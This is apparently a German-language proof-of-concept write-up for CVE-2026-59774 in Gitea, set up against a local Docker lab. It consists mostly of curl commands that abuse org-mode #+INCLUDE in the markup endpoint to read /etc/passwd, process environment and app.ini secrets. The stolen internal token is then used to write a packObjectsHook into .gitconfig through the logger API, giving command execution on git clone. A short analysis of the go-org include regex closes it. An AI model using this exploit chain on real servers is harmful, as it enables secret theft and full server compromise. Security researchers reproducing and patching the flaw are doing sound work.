
CVE-2026-59774
git clone https://github.com/FlowerWitch/CVE-2026-59774_docker
cd ./CVE-2026-59774_docker
docker compose up -d
Gitea aufrufen
new repository ist standardmäßig öffentlich, keine weitere Konfiguration erforderlich
curl -X POST "http://localhost:3000/{username}/{repo}/markup" \
-H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
"Context": "/admin/poc/src/main/"
}'
GITEA_CUSTOM in /proc/self/environ der Speicherort der gitea-Daten ermittelt.curl -sX POST "http://localhost:3000/admin/poc/markup" -H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
"Context": "/admin/poc/src/main/"
}'|grep 'GITEA_CUSTOM='
{GITEA_CUSTOM}/conf/app.ini lesen, um die Felder INTERNAL_TOKEN und APP_DATA_PATH zu erhaltencurl -sX POST "http://localhost:3000/{username}/{repo_name}/markup" -H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
"Context": "/admin/poc/src/main/"
}'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH'
Mode dieser Schnittstelle auf File gesetzt ist, wird an die lokale Datei angehängt (falls das Ziel nicht existiert, wird das entsprechende Verzeichnis erstellt). Gleichzeitig wird, wenn das logger-Feld auf router gesetzt ist, bei der Ausführung ein Log-Eintrag ausgelöst, dessen Ausgabe deutlich besser ist als bei default (weil kein Zeilenumbruch erfolgt XD). Durch das beliebige Schreiben über Ersteres wird in der .gitconfig von gitea das Feld packObjectsHook hinzugefügt, um durch einen anonymen Clone die Befehlsausführung auszulösen.curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
-H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"Logger": "router",
"Writer": "pwnhook",
"Mode": "file",
"Config":{
"filename": "{APP_DATA_PATH}/home/.gitconfig",
"flags": "none",
"prefix": "[uploadpack]\n packObjectsHook = id > /tmp/pwned ;#",
"level": "Info",
"rotate": false
}
}'
logger und writercurl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
-H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
git clone löst Befehlsausführung ausIn go-org 1.9.1 enthält die Funktion parseInclude eine reguläre Filterregel includeFileRegexp; nur bei einer Übereinstimmung kann in die nachfolgenden Funktionen eingetreten werden.
func (d *Document) parseInclude(k Keyword) (int, Node) {
resolve := func() Node {
d.Log.Printf("Bad include %#v", k)
return k
}
if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil { # <--这里施加了 includeFileRegexp 过滤
path, kind, lang := m[1], m[2], m[3]
if !filepath.IsAbs(path) {
path = filepath.Join(filepath.Dir(d.Path), path)
}
includeFileRegexp Die Übereinstimmungsbedingungen lauten wie folgt
var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)
故如payload "#+INCLUDE: \"/etc/passwd\"\n" 则无法被正常匹配,构造须符合表达式,如:
"#+INCLUDE: \"/etc/passwd\" src 123\n"